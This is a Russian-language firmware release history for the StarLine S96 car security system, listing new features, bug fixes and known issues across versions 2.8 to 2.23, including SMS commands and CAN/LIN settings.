Обновление прошивки starline: Основной блок — StarLine S96

Основной блок — StarLine S96

Для обновления ПО основного блока используйте приложение StarLine Master.

Выпущена 20 Jan 2021 

• Добавлена настройка разрешений управления режимом «Антиограбление» с помощью метки
• Добавлена поддержка 3CAN-интерфейса
• Добавлена настройка SMS-оповещений о событиях герконовых датчиков

→ Подробное описание изменений в версии 2.23.4

Выпущена 17 Dec 2020 

• Добавлена поддержка охранных комплексов A97, AS97, B97, D97
• Добавлена поддержка интерфейса Сигма34-CAN
• Добавлены действия для включения поддержки зажигания для программ «Гибкой логики»
• Добавлены функции управления блокировками двигателя в разделе «Диагностика» приложения StarLine Master
• Добавлена настройка SMS-оповещений о включении и отключении догревателя двигателя
• Добавлена настройка работы звукового извещателя
• Изменена работа SMS-команды 30
• Добавлена поддержка второго концевика замка капота
• Добавлена поддержка концевиков замка капота для программ «Гибкой логики»
• Добавлена поддержка режима «Быстрые настройки» в Starline Master

→ Подробное описание изменений в версии 2. 23.3

Выпущена 15 Oct 2020 

• Добавлена поддержка Мастер 6 — LTE+BT
• Добавлена поддержка внешней кнопки CAN
• Добавлена функция для чтения статуса замка капота
• Добавлена настройка автозапуска по будильнику в зависимости от температуры двигателя
• Изменен алгоритм управления клаксоном при поиске автомобиля на парковке
• Добавлены события и условия «Пользователь в автомобиле» в гибкую логику
• Добавлены события и условия «Авторизация владельца пройдена» в гибкую логику
• Добавлена возможность включения видеорегистратора в сервисном режиме
• Добавлено управление люком по CAN
• Добавлены команды бесшумного включения/выключения охраны
• Добавлена группа настроек для управления функциями комфорта по CAN
• Добавлена индикация установленного подключения в режиме настройки/обновления по BLE

→ Подробное описание изменений в версии 2.22.4

Выпущена 21 Sep 2020 

→ Подробное описание изменений в версии 2.

Выпущена 07 Sep 2020 

• Исправлена ошибка ядра системы, приводящая к перезагрузке охранного комплекса, если в нем установлен модуль GSM+BLE на базе модема SIM800. Воспроизводилась только на системах A96, AS96(v2), B96 и D96.

→ Подробное описание изменений в версии 2.20.4

Выпущена 17 Aug 2020 

• Оптимизирован алгоритм бесключевого обхода для VW, Skoda и Audi

→ Подробное описание изменений в версии 2.20.3

Выпущена

• Добавлена поддержка охранного комплекса E96 (v2)
• Изменено значение по умолчанию настройки «Управление с гостевых телефонов»
• Добавлена функция «Отключение света»
• Изменен способ включения калибровки Страховой Телематики в настройках
• Изменен текст SMS-оповещения о входе в режим «Антиограбление»
• Добавлено SMS-оповещение о разряде батарейки в брелок-метке BLE при работе c внешним GSM+GPS-модулем
• Добавлен вход в режимы меню сервисной кнопки без использования зажигания
• Добавлено управление режимом настройки и обновления по BLE с помощью SMS-команды
• Добавлена блокировка двигателя импульсом на кнопку СТАРТ/СТОП
• Добавлена настройка отключения датчиков на время работы предпускового подогревателя
• Добавлена настройка чувствительности датчика удара на время работы предпускового подогревателя
• Добавлена настройка активации силовых выходов при запуске двигателя по CAN+LIN
• Добавлена функция для датчика демонтажа комплекса с активацией по размыканию
• Увеличено максимальное количество программ гибкой логики для X96 (v2) до 60
• Добавлен «Звонок» для Гибкой логики
• Добавлены текстовые варианты SMS-команды «0069X»: «ПЕРЕСЫЛКА» и «FORWARD»

→ Подробное описание изменений в версии 2.

Выпущена 26 May 2020 

→ Подробное описание изменений в версии 2.20.0

Выпущена 10 Apr 2020 

• Новых функций нет

→ Подробное описание изменений в версии 2.19.5

Выпущена 19 Mar 2020 

• Изменен алгоритм работы с SIM-картами
• Изменена длительность импульса клаксона в алгоритме обучения обхода штатного иммобилайзера
• Изменены названия настроек «Максимально допустимая температура двигателя при АЗ/ДЗ» и «Управлять ЦЗ в Slave»
• Изменено значение по умолчанию настройки «Управление сиреной при постановке/снятии с охраны штатной системой охраны»
• Добавлена настройка «Время работы двигателя не ограничено» в личном кабинете и мобильном приложении
• Изменено название события гибкой логики
• Изменен алгоритм блокировки двигателя
• Добавлена функция блокировки АКПП
• Добавлена настройка отключения опроса штатных кнопок через CAN

• Изменен ответ на SMS-команду 41
• Добавлены текстовые аналоги для SMS-команды 00581
• Добавлен настройка контроля работы двигателя по напряжению
• Улучшен алгоритм синхронизации системного время
• Добавлена информация о причине неудачного запуска двигателя
• Добавлена поддержка новой версии индивидуальных прошивок под автомобили
• Изменено значение по умолчанию настройки «Выполнять имитацию открытия двери»
• Добавлены действия гибкой логики для функции «Комфорт»

→ Подробное описание изменений в версии 2. 19.4

Выпущена 31 Dec 2019 

• Новых функций нет

→ Подробное описание изменений в версии 2.18.2

Выпущена 17 Dec 2019 

• Добавлена возможность отключения датчика удара
• Добавлена настройка чувствительности датчика удара на время автоматического и дистанционного запуска
• Добавлена команда выхода из настройки по каналу Bluetooth Smart на вкладке «Диагностика»
• Добавлена поддержка запрета функции «Вежливая посадка» по шине CAN
• Добавлена поддержка итальянского языка
• Добавлена возможность назначения функций управления предпусковыми подогревателями на любые LIN-каналы
• Добавлена поддержка LIN-C
• Изменена настройка по умолчанию для функции «Управление клаксоном»
• Изменено расположение настройки «Низкое напряжение АКБ»
• Добавлена настройка коррекции напряжения АКБ

→ Подробное описание изменений в версии 2.

Выпущена 27 Nov 2019 

• Добавлена поддержка бесключевого обхода штатного иммобилайзера для автомобилей MQB (Audi, Skoda, Volkswagen)

→ Подробное описание изменений в версии 2.17.7

Выпущена 01 Nov 2019 

• Новый функционал отсутствует

→ Подробное описание изменений в версии 2.17.5

Выпущена 28 Oct 2019 

Внимание! Версия 2.17.4 содержит критическую ошибку: часто не отключается блокировка подкапотного реле R6 при переходе из охранного состояния. Исправление 2.17.5 выпущено 01.11.2019 и доступно через программу StarLine Master или для обновления по воздуху с ftp-сервера (нужно отправить SMS с текстом «FWUPDATE»)

• Добавлена возможность подавать питание на цифровое микрореле StarLine R6ECO по цепи зажигания

→ Подробное описание изменений в версии 2. 17.4

Выпущена 09 Oct 2019 

• Добавлены действия на вкладке «Гибкая логика» в приложении StarLine Мастер
• Добавлено управление зеркалами по CAN при выполнении функции «Комфорт»
• Добавлено управление клаксоном по CAN в тревоге
• Добавлена поддержка статусов температур в гибкой логике
• Изменен способ автоматического выхода из сервисного режима при выезде за пределы СТО
• Изменен алгоритм активации «Антиограбление по пропаданию метки/брелока»
• Изменено расположение настройки «Запрос OBD-ошибок» в приложении StarLine Мастер

→ Подробное описание изменений в версии 2.17.0

Выпущена 05 Aug 2019 

• Добавлено выполнение гибкой логики для E96BT по команде с сервера или SMS
• Добавлена проверка дополнительных статусов системы в режиме «Антиограбление по пропаданию метки/брелока»
• Изменено название канала «Блокировка стартера (при АЗ/ДЗ)»
• Изменено расположение настройки «Блокировка штатного KeyLess-доступа»
• Изменено расположение настройки «Действие при появлении метки в режиме охраны с работающим двигателем»
• Изменено описание настройки «Максимально допустимая температура двигателя при АЗ/ДЗ»
• Изменено название настройки «Блокировка двигателя №1»
• Изменен алгоритм обработки команды «Открыть багажник»
• Добавлена настройка запрета снятия с охраны без метки с помощью штатной системы охраны
• Добавлены раздельные входы датчиков ручки двери для постановки и снятия, и вход датчика ручки багажника
• Добавлен автоматический запуск предпускового подогревателя по будильнику
• Добавлено управление замком капота для гибкой логики
• Изменен минимальный порог длительности импульса клаксона
• Добавлена настройка игнорирования тревоги штатной системы охраны на время АЗ/ДЗ
• Изменено название настройки «StarLine F1 или модуль Fortin по шине DataLink»
• Добавлена индикация звуковым извещателем при ожидании ввода кода валидатора

→ Подробное описание изменений в версии 2. 16.1

Выпущена 03 Jun 2019 

→ Подробное описание изменений в версии 2.15.1

Выпущена 18 Mar 2019 

• Реализована функция автоматического выхода из сервисного режима при выезде за пределы СТО
• Добавлены события включения/выключения автоматического и дистанционного запуска на вкладке «Гибкая логика»
• Реализовано управление платой резервного питания
• Реализовано дистанционное обновление ПО устройства
• Реализована работа всех цифровых SMS-команд с добавлением символа «#» в конце

→ Подробное описание изменений в версии 2.14.0

Выпущена 19 Dec 2018 

• Добавлены функции «Запирание замка капота» и «Отпирание замка капота»
• Добавлена функция «Внешний звуковой извещатель со встроенным генератором»
• В действия гибкой логики добавлен звуковой извещатель
• Добавлена функция автоматической установки времени в основной блок E96BT
• Стабилизирована длительность импульсов на выходах реле R6ECO для функций управления ЦЗ, замком капота и багажника
• Убрана световая индикация при автоматическом и дистанционном запуске
• Изменен алгоритм работы режима «Антиограбление по пропаданию метки»
• Добавлена настройка «Запирание ЦЗ после закрытия багажника» в приложении StarLine Мастер
• В гибкую логику добавлено действие «Управление обходом штатного иммобилайзера»
• Добавлена возможность экстренной постановки в охрану с помощью сервисной кнопки в момент ожидании авторизации владельца
• Реализована имитация присутствия метки в режиме настройки по Bluetooth Smart
• Доработан алгоритм управления звуковым извещателем
• Библиотека CAN обновлена до версии 4. 8.3
• Улучшен алгоритм отправки запросов авторизации брелку при переходе в режим  «Охрана с открытым багажником»
• Увеличено количество символов в USSD-запросе

→ Подробное описание изменений в версии 2.13.1

Выпущена 08 Nov 2018 

• Добавлена поддержка нового охранного комплекса D96
• Добавлена поддержка немецкого языка
• Изменен цвет провода с желто-оранжевого на фиолетовый

→ Подробное описание изменений в версии 2.12.1

Выпущена 08 Oct 2018 

• Добавлена возможность объединения каналов дверей, багажника и капота
• Изменена настройка контроля канала связи с брелоком
• Реализованы каналы с инверсной логикой работы
• Повышена надежность алгоритма детектирования разряда батарейки в метке
• Уменьшены верхние пороги настроек, связанных с допустимой температурой двигателя
• Реализован новый способ работы с аналоговыми кнопками при вводе кода валидатора
• Изменен шаг настройки «Минимальный баланс на счете SIM»
• Добавлен алгоритм блокировки управления светом и сиреной в зависимости от напряжения АКБ

→ Подробное описание изменений в версии 2. 12.0

Выпущена 01 Aug 2018 

• Реализована функция предупреждения об экстренном торможении
• В гибкую логику добавлены действия «отменить разрешение поездки» и «отменить авторизацию владельца»
• Добавлена возможность назначать на выходы функцию «реле управления сиреной»
• Реализован режим пересылки на телефон М1 всех входящих SMS и USSD
• Отключена перепостановка при нарушенном периметре
• Увеличено время игнорирования ДУ при завершении охраны с открытым багажником
• Изменен способ выхода из режима диагностики/программирования по BLE
  

→ Подробное описание изменений в версии 2.11.0

Выпущена 02 Jul 2018 

• Добавлен обход штатного иммобилайзера Lifan

→ Подробное описание изменений в версии 2.10.4

Выпущена 01 Jun 2018 

→ Подробное описание изменений в версии 2. 10.2

Выпущена 23 May 2018 

• • Новый функционал отсутствует

→ Подробное описание изменений в версии 2.10.1

Выпущена 19 May 2018 

• Добавлены новые команды управления на вкладку «Диагностика» в приложении StarLine Мастер
• В гибкой логике реализована возможность игнорирования дверей и зажигания
  
• Добавлена настройка активности статусного выхода в режиме регистрации
• Отображение на брелке причины тревоги продолжается до запроса статуса
• Ввод кода экстренной разблокировки отключает все охранные функции до следующего перехода в режим «Охрана» 
• Добавлено отображение зарегистрированных реле R6 в StarLine Мастере

→ Подробное описание изменений в версии 2.10.0

Выпущена 05 Mar 2018 

• Библиотека CAN обновлена до версии 4.6.0
• Добавлена возможность обновления ПО и изменения настроек через Bluetooth модуль индикации
• Реализована работа дистанционного запуска двигателя без ограничения по времени
• Добавлена возможность назначить выход управления сиреной на канал XS2:13
• Убрано звуковое/световое подтверждение входа в режим обучения обхода штатного иммобилайзера
• Настройка логирования обхода доступна установщикам
• Добавлена возможность настроить выход управления видеорегистратором на любой канал
• Добавлена возможность настроить SMS-оповещения о включении и отключении предпускового подогревателя двигателя

→ Подробное описание изменений в версии 2. 9.0

Выпущена 30 Jan 2018 

→ Подробное описание изменений в версии 2.8.4

2.14.0 — StarLine S96

Реализована функция автоматического выхода из сервисного режима при выезде за пределы СТО

Охранный комплекс автоматически перейдет из сервисного режима по установленному событию в ожидание авторизации владельца. После успешного прохождения авторизации комплекс перейдет в режим «Снято с охраны».

Если авторизация не будет пройдена, то охранный комплекс перейдет в режим «Тревога».

Для работы этой функции должна быть включена авторизация владельца, включено использование датчиков и доступна информация о скорости автомобиля

Настройка функции доступна на вкладке «Основные параметры» в разделе «Режимы работы».

Добавлены события включения/выключения автоматического и дистанционного запуска на вкладке «Гибкая логика»

В раздел «Состояние охранного комплекса» → «Запуск двигателя» добавлены 4 новых события:

Реализовано управление платой резервного питания*

Для управления платой резервного питания добавлено три новые функции для определения активного источника питания:

* Плата резервного питания находится в разработке

Реализовано дистанционное обновление ПО устройства

Реализовано обновление ПО устройства по мобильному интернету при помощи SMS-команды, отправляемой с телефона владельца M1 и позволяющей выбрать версию.

О результатах процесса обновления устройство оповещает в виде SMS на телефон M1 и в журнал событий на starline-online.ru и мобильном приложении.

SMS-команда обновления ПО:

ПЕРЕПРОШИВКА ИЛИ FWUPDATE [VERSION] [RU ИЛИ EN ИЛИ DE]

где version — версия программного обеспечения (допускается запись без точек, необязательный параметр): мажорная версия — 1 цифра, минорная версия — 2 цифры, патч — 1 цифра (всегда = 0 для тестовых и отладочных прошивок), ревизия — оставшиеся цифры,

RU или EN или DE — русский, английский или немецкий язык прошивки (необязательный параметр).

Если не указан ни один параметр, выполняется обновление на последний официальный релиз.

Если не указан язык, то выполняется обновление на ПО с текущим языком.

Примеры:

ПЕРЕПРОШИВКА	Обновление на последний официальный релиз на текущем языке
ПЕРЕПРОШИВКА 2.13.3 ПЕРЕПРОШИВКА 2133	Обновление на версию 2. 13.3 на текущем языке
ПЕРЕПРОШИВКА 2133 EN	Обновление на версию 2.13.3 на английском языке

Если параметры указаны правильно и версия ПО есть для данного устройства на сервере обновления, то она начинается скачивание ПО в устройство и придет SMS-оповещение:

Если во время обновления ПО отправить SMS о запуске обновления, то текущий процесс обновления прерывается и запускается новый.

После скачивания всего файла прошивки она проверяется и, при выполнении необходимых условий, загружается в устройство. К необходимым условиям относятся: нахождение устройство в режиме охраны или сервисном режиме, двигатель заглушен.

SMS-команда остановки обновления:

ПЕРЕПРОШИВКА СТОП

В ответ:

ПЕРЕПРОШИВКА?

В ответе указывается версия скачиваемого ПО и сколько скачано в процентах:

Реализована работа всех цифровых SMS-команд с добавлением символа «#» в конце

Цифровая SMS-команда работает и по-старому, и по-новому, то есть с добавлением символа «#» в конце.

Например, 00581 и 00581#.

1. Активация программы гибкой логики с номером больше или равным 17 не отображалась в окне диагностики.
2. Исправлена ошибка работы автоматического подхвата зажигания при включении турботаймера на автомобилях с АКПП.
3. Исправлен запрет АЗ и сброс ПН после сброса ОБ (кроме сброса по питанию).
4. Исправлена проблема бесконечной работы турботаймера после глушения двигателя на высоких оборотах, если включена настройка «Подтверждение правильности настроек контроля работы двигателя».
5. Исправлены проблемы при вводе ПИН-кода через сенсор ручки двери (лишнее закрытие ЦЗ, лишняя индикация).
6. Исправлена работа алгоритма запрета поездки в случае активации запрета при каждом выключении зажигания.
7. Исправлена ошибка, из-за которой на сайте starline-online не отображались типы запуска предпускового подогревателя и некорректно отображались настройки в starline мастер, после изменения параметров, относящихся к предпусковому подогревателю.
8. Исправлено «залипание» каналов управления запуском двигателя (каналы имитации педали тормоза, зажигания 1 и зажигания 2).
9. Исправлена индикация коротких импульсов через сирену, подключенную к реле R6.
10. В связке E96+M66 исправлен автоматический выход из режима настройки по BLE ОБ E96.
11. Исправлена работа выхода «Стартер» в режиме запуска двигателя СТАРТ-СТОП.
12. Исправлено отсутствие выключения выхода обходчика при выполнении мягкой посадки на кнопочном автомобиле.
13. Исправлена ошибка, при которой в состоянии запрета поездки и ожидания авторизации владельца не дозапирался замок капота.

1. E96BT Команда отправленная на M66 не будет выполнена охранным комплексом E96BT, если на момент ее получения нет связи между E96BT и M66 по BLE.
   
2. E96BT M66 не передает на сервер информацию об оставшемся времени работы двигателя в режиме дистанционного или автоматического запуска охранным комплексом E96
3. 2.1.0 После завершения охраны с работающим двигателем не всегда выполняется программная нейтраль.
4. 2.14.0 При выполнении мягкой посадки отключается, включенный вручную ППП.
5. 2.X.X После сознательной отмены поддержки зажигания (глушение кнопкой) запрещается автоматический запуск двигателя.
6. 2.13.1 При выполнении снятия с охраны из мобильного приложения и переходе устройства в запрет поездки, в мобильное приложение возвращается ошибка, при этом сама команда выполняется.
7. 2.14.0 Не маскируются датчики в охране с работающим двигателем.
8. 2.X.X Система не «видит» зажигания после пропадания оборотов во время выполнения поддержки зажигания.
9. 2.10.1 Отсутствует стоповый импульс при остановке двигателя на кнопочном автомобиле по тревоге от датчика движения.
10. 2.X.X Отсутствует имитация нажатия педали тормоза или сцепления при запуске по CAN.
11. 2.14.0 Не проходит авторизация владельца, если устройство авторизации определилось до автоматического выхода из сервисного режима.
12. 2.X.X X96V2 При переназначении сервисной кнопки она перестает работать.
13. 2.X.X Ошибка включения/выключения GPS-приемника по SMS-команде.
    
14. 2.8.4 При регистрации телефона M1 произносится фраза «Такая команда мне неизвестна».
15. 2.X.X При запуске и обходе по CAN при переходе в охрану с работающим двигателем отключается обход по CAN.
16. 2.14.0 Автоматический выход из сервисного режима при включенном запрете поездки по метке приводит к переходу в тревогу.
17. 2.14.0 В связке E96BT+M66 или ОБ+смартфон может некорректно устанавливаться часовой пояс (при установке времени по BLE).
18. 2.X.X Ошибка при обработке входящего звонка и баланса в Киргизии.
19. 2.15.0 В режиме «свободные руки» при открытии двери водителя или пассажира система сбрасывает процедуру авторизации.
20. 2.14.0 На системах, версия которых в момент установки была 2.14.0 или выше, не работает блокировка R6 ECO при потере связи с основным блоком в режиме охраны.

2.22.4 — StarLine S96

Добавлена поддержка Мастер 6 — LTE+BT

A96 AS96(V2) B96 D96

В программное обеспечение охранных комплексов добавлена поддержка модуля Мастер 6 — LTE+BT

Добавлена поддержка внешней кнопки CAN

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

В статусы CAN была добавлена поддержка «Внешней кнопки».

Во вкладке «Основные параметры» была добавлена настройка «Функции внешней кнопки CAN». На данный момент доступно 4 варианта настройки функции:

1. Датчик ручки двери.
2. Датчик ручки багажника.
3. Датчик ручки двери (включение охраны).
4. Датчик ручки двери (выключение охраны).

Во вкладке «Гибкая логика» были добавлены соответствующие события и условия:

Добавлена функция статуса замка капота

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

Добавлена возможность настройки на вход охранного комплекса статуса замка капота.

Добавлена настройка автозапуска по будильнику в зависимости от температуры двигателя

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

Добавлена возможность отмены автозапуска по будильнику, если температура двигателя выше значения, заданного в настройках («Порог температуры двигателя, *С»).

Изменен алгоритм управления клаксоном при поиске автомобиля на парковке

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

Длительность сигнала клаксоном по команде «Поиск автомобиля на парковке» зависит от значения настройки «Длительность импульса клаксона в тревоге, мс».

Добавлены события и условия «Пользователь в автомобиле» в гибкую логику

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

Добавлена новая группа событий «Пользователь в автомобиле» в гибкую логику:

• событие «пользователь сел в автомобиль» срабатывает 1 раз при закрытых дверях и закрытом багажнике после изменения любого из следующих статусов автомобиля: зажигание, стояночный тормоз, педаль тормоза, паркинг;
• событие «пользователь покинул автомобиль» срабатывает 1 раз после открывания любой двери или багажника.

• условие является выполненным после срабатывания события «пользователь сел в автомобиль» до наступления события «пользователь покинул автомобиль»;
• условие является невыполненным после срабатывания события «пользователь покинул автомобиль» до наступления события «пользователь сел в автомобиль».

Добавлены события и условия «Авторизация владельца пройдена» в гибкую логику

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

Добавлено событие «Авторизация владельца пройдена» в гибкую логику:

Добавлено условие «Авторизация владельца пройдена» в гибкую логику:

Добавлена возможность включения видеорегистратора в сервисном режиме

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

Добавлена возможность включить видеорегистратор, даже если комплекс находится в сервисном режиме.

Добавлено управление люком по CAN

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

В функции управления CAN была добавлена поддержка «Закрывания люка».

Во вкладке «Гибкая логика» было добавлено соответствующее действие:

Добавлены команды бесшумного включения/выключения охраны

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

Добавлены команды бесшумного включения/выключения охраны, при выполнении которых не будет использоваться звуковая индикация (сирена).

Бесшумное включение охраны осуществляется одним из следующих способов:

• тройным нажатием кнопки 1 брелока;
• SMS-командой 111;
• командой голосового меню 111;
• из мобильного приложения StarLine;
• из личного кабинета на сайте starline.online.

Бесшумное выключение охраны осуществляется одним из следующих способов:

• тройным нажатием кнопки 2 брелока;

• SMS-командой 101;

• командой голосового меню 101;

• из мобильного приложения StarLine;

• из личного кабинета на сайте starline. online.

Добавлена группа настроек для управления функциями комфорта по CAN

A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2)

Добавлены настройки для функций комфорта (управление стеклами, управление зеркалами заднего вида и управление люком) и длительности задержек перед их выполнением.

Добавлена индикация установленного подключения в режиме настройки/обновления по BLE

A96 AS96(V2) B96 D96 E96 BT E96(V2) S96 S96(V2) X96(V2)

Добавлена индикация установленного подключения с модулем индикации или смартфоном по BLE светодиодом сервисной кнопки. Индикация выполняется в виде периодических 2 вспышек светодиода. Если после входа в режим настройки/обновления по BLE ваш смартфон или модуль индикации не видит устройство, а светодиод сервисной кнопки моргает вспышками по 2, то это означает что в данный момент охранный комплекс уже подключен к другому смартфону или модулю индикации. Если в охранный комплекс зарегистрирован смартфон, то после входа в режим настройки/обновления по BLE он автоматически подключится к охранному комплексу, чтобы войти в настройки/обновление с другого смартфона выключите BLE на зарегистрированном.

1. A96 AS96(V2) B96 D96 S96 S96(V2) X96(V2) SMS-команда «30 XXXX» не отключает режим «Антиограбление» на один цикл охраны.
2. В некоторых случаях при запуске двигателя с включенным паркингом и открытой дверью комплекс переходит в поддержку зажигания для перехода в охрану с работающим двигателем.
3. A96 AS96(V2) B96 D96 S96 S96(V2) X96(V2) Отсутствует оповещение звонком о переходе комплекса в режим «Тревога», если не пройдена авторизация, запущенная открытием багажника с помощью штатного брелка при выключенной настройке «Разрешить в охране открытие багажника при наличии метки или брелока».
4. A96 AS96(V2) B96 D96 E96 BT E96(V2) S96 S96(V2) X96(V2) Комплекс переходит в режим ожидания авторизации владельца после попытки выключения охраны с помощью смартфона по BLE при выключенных настройках «Видимость смартфона как метки» и «Требовать авторизацию владельца при снятии с охраны следующими способами».
5. A96 AS96(V2) B96 D96 E96 E96 BT E96(V2) S96 S96(V2) X96(V2) Не работает блокировка двигателя по началу движению, если чувствительность датчика движения настроена на значение 0.
6. Текст события перехода комплекса в режим «Снято с охраны» изменен с «Охрана отключена» на «Снято с охраны».
7. A96 AS96(V2) B96 D96 S96 S96(V2) X96(V2) От мобильного приложения StarLine приходят 2 пуш-уведомления о выключении охраны вместо 1.
8. A96 B96 D96 S96 X96(V2) В охранном комплексе с GSM во время установки соединения с сервером мониторинга может не выполняться сервисный звонок.
9. E96(V2) S96(V2) Не работает обучение функции «Обход штатного иммобилайзера» с использованием программатора VAG-01.
10. S96(V2) Не работает обучение функции «Обход штатного иммобилайзера» на некоторых автомобилях KIA.

1. 2.X.X E96 BT Команда, отправленная на M66, не будет выполнена охранным комплексом E96 BT, если на момент ее получения нет связи между E96 BT и M66 по BLE.
2. 2.X.X A96 AS96(V2) B96 D96 E96 BT E96(V2) S96 S96(V2) X96(V2) Не работает включение охраны в режиме «Свободные руки» по пропаданию метки при наличии связи со смартфоном по BLE и выключенной настройкой «Видимость смартфона как метки».
3. S96(V2) В некоторых случаях после обновления на версию 2.22.4 охранный комплекс S96v2 в комплектации с двумя сим холдерами не запускался после обновления.
4. S96(V2) После автоматического определения сервисной кнопки или трансивера настройки каналов охранного комплекса могли устанавливаться в значение «Функция не назначена».
5. 2.X.X A96 AS96(V2) B96 D96 S96 S96(V2) X96(V2) Неправильно выполняется обработка баланса для оператора Vodafone UA.
6. 2.X.X A96 AS96(V2) B96 D96 GEN7 S96 S96(V2) X96(V2) В StarLine Мастер в настройках CAN неактивен интерфейс «CAN-B», если на данной шине находится одна функция «Запрос OBD-ошибок».

2.18.1 — StarLine S96

Добавлена возможность отключения датчика удара

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

В StarLine Мастер добавлена возможность отключения настройки «Датчик удара: предупредительный» и «Датчик удара: тревожный». Для этого необходимо установить значение на 0.

Датчик удара также можно отключить в меню брелока.

Добавлена настройка чувствительности датчика удара на время автоматического и дистанционного запуска

 A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Добавлена настройка «Чувствительность датчика удара при АЗ/ДЗ, %». Данная настройка регулирует уровень чувствительности датчика удара при работе турботаймера, в режиме «Охрана» с работающим двигателем, дистанционном и автоматическом запуске двигателя в процентах от настроенной чувствительности датчика удара. Значение 100% соответствует основной настройке датчика удара. При значении 0% датчик отключается.

Добавлена команда выхода из настройки по каналу Bluetooth Smart на вкладке «Диагностика»

A96 AS96(V2) B96 D96 E96 BT S96 X96(V2)

В приложении StarLine Мастер на вкладке «Диагностика» добавлена команда для выхода из настройки по каналу Bluetooth Smart.

Добавлена поддержка запрета функции «Вежливая посадка» по шине CAN

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

В некоторых автомобилях функция «Вежливая посадка» приводит к ошибкам в автомобиле. Для таких автомобилей средствами CAN добавлен запрет функции «Вежливая посадка».

Добавлена поддержка итальянского языка

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Добавлена возможность назначения функций управления предпусковыми подогревателями на любые LIN-каналы

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

В приложении StarLine Мастер добавлена возможность назначать управление предпусковым подогревателем по цифровой шине LIN.

Список доступных каналов приведен в таблице:

Добавлена поддержка LIN-C

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Перечень каналов, на которые возможно назначение функции «LIN-C» приведен в таблице:

В случае, если все цифровые выходы заняты, то «LIN-C» можно подключить с помощью функций «LIN-C_TX» и «LIN-C_RX».

Перечень каналов, на которые возможно назначение функций «LIN-C_TX» и «LIN-C_RX» приведен в таблице:

При выборе варианта с двумя отдельными каналами необходимо использовать схему подключения аналогичную схеме подключения предпусковых подогревателей:

Изменена настройка по умолчанию для функции «Управление клаксоном»

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Функция «Управление клаксоном» в настройках CAN по умолчанию неактивна, начиная с версии 3. 01 приложения StarLine Мастер.

Изменено расположение настройки «Низкое напряжение АКБ»

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Настройка «Низкое напряжение АКБ, В» перенесена в раздел «Настройки АКБ» на вкладке «Основные параметры»

Добавлена настройка коррекции напряжения АКБ

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Добавлена настройка «Коррекция напряжения АКБ».  Эту настройку рекомендуется использовать при наличии резервного АКБ или если измеренное значение напряжения отличается от номинального.

Добавлена настройка «Алгоритм анализа величины удара»

A96 AS96(V2) B96 D96 E96 E96 BT S96 X96(V2)

Добавлена настройка «Алгоритм анализа величины удара». При наличии ложных срабатываний датчика удара, включение данной настройки активирует дополнительный фильтр для исключения ложных срабатываний. Если ложных срабатываний не было, то включение настройки не требуется.

Добавлена поддержка OBD-запросов в связке E96BT+M66/GSM-GPS

E96 BT

1. При запуске авторизации владельца в режиме Slave, при открытии двери, система на короткое время переходила в «Тревогу».
2. A96 AS96(V2) B96 D96 S96 X96(V2) Для некоторых регионов мира неверно определялся код страны для номера входящего звонка.
3. A96 AS96(V2) B96 D96 E96 E96 BT X96(V2) Устройства перезагружались при попытке записи с брелока настройки AF-7 (Антиограбление при пропадании метки).
4. При включенном объединении каналов багажника и двери при выполнении ГЛ с включенным игнорированием зон двери, система реагировала на зону багажника.
5. Не работало глушение двигателя во время ДЗ при управлении штатным запуском.
6. A96 AS96(V2) B96 D96 S96 X96(V2) В SMS сообщениях, отправленных пользователю из гибкой логики, некорректно отображаются немецкие символы, если они есть в названии программы.
7. На автомобилях с системой запуска старт-стоп турботаймер сбрасывался при постановке в охрану, после перезапуска по оборотам.
8. A96 AS96(V2) B96 D96 E96 BT S96 X96(V2) Если включен запрет снятия с охраны штатной системой охраны без метки и разрешено в охране открытие багажника при наличии метки или брелока, то по открытию багажника при наличии метки происходила тревога.
9. Не работало выключение ACC без задержки в случае включенного зажигания при неудачном АЗ/ДЗ.
10. Иногда в системе могли устанавливаться некорректные дата и время.
11. В некоторых случаях не размыкалось оптореле между LIN-A и LIN-B, что приводило к неработоспособности назначенных на эти каналы функций.
12. Не работало управление предпусковыми подогревателями на каналах с направлением «Цифровая шина».
13. A96 AS96(V2) B96 D96 S96 X96(V2) В некоторых случаях фиксации ДТП на сервер переставали отправляться координаты, события, страховые данные, данные о ДТП.
14. A96 AS96(V2) B96 D96 S96 X96(V2) В отсутствие GPS-приемника LBS-координаты переставали обновляться.
15. A96 AS96(V2) B96 D96 S96 X96(V2) Иногда GSM-модем мог становиться «вне зоны доступа» на несколько часов при наличии GSM-сети.
16. A96 AS96(V2) B96 D96 E96 E96 BT X96(V2) Не работала отмена антиограбления при появлении брелока в состоянии «Снято с охраны».
17. A96 AS96(V2) B96 D96 E96 BT S96 X96(V2) После кратковременного разрыва связи по BLE с R6ECO двигатель блокировался при восстановлении связи, если алгоритм блокировки НР.
18. A96 AS96(V2) B96 D96 E96 BT S96 X96(V2) При работе R6ECO от зажигания после восстановления связи не отключалась блокировка, если алгоритм блокировки НР.

1. 2.X.X E96 BT Команда отправленная на M66 не будет выполнена охранным комплексом E96BT, если на момент ее получения нет связи между E96BT и M66 по BLE.
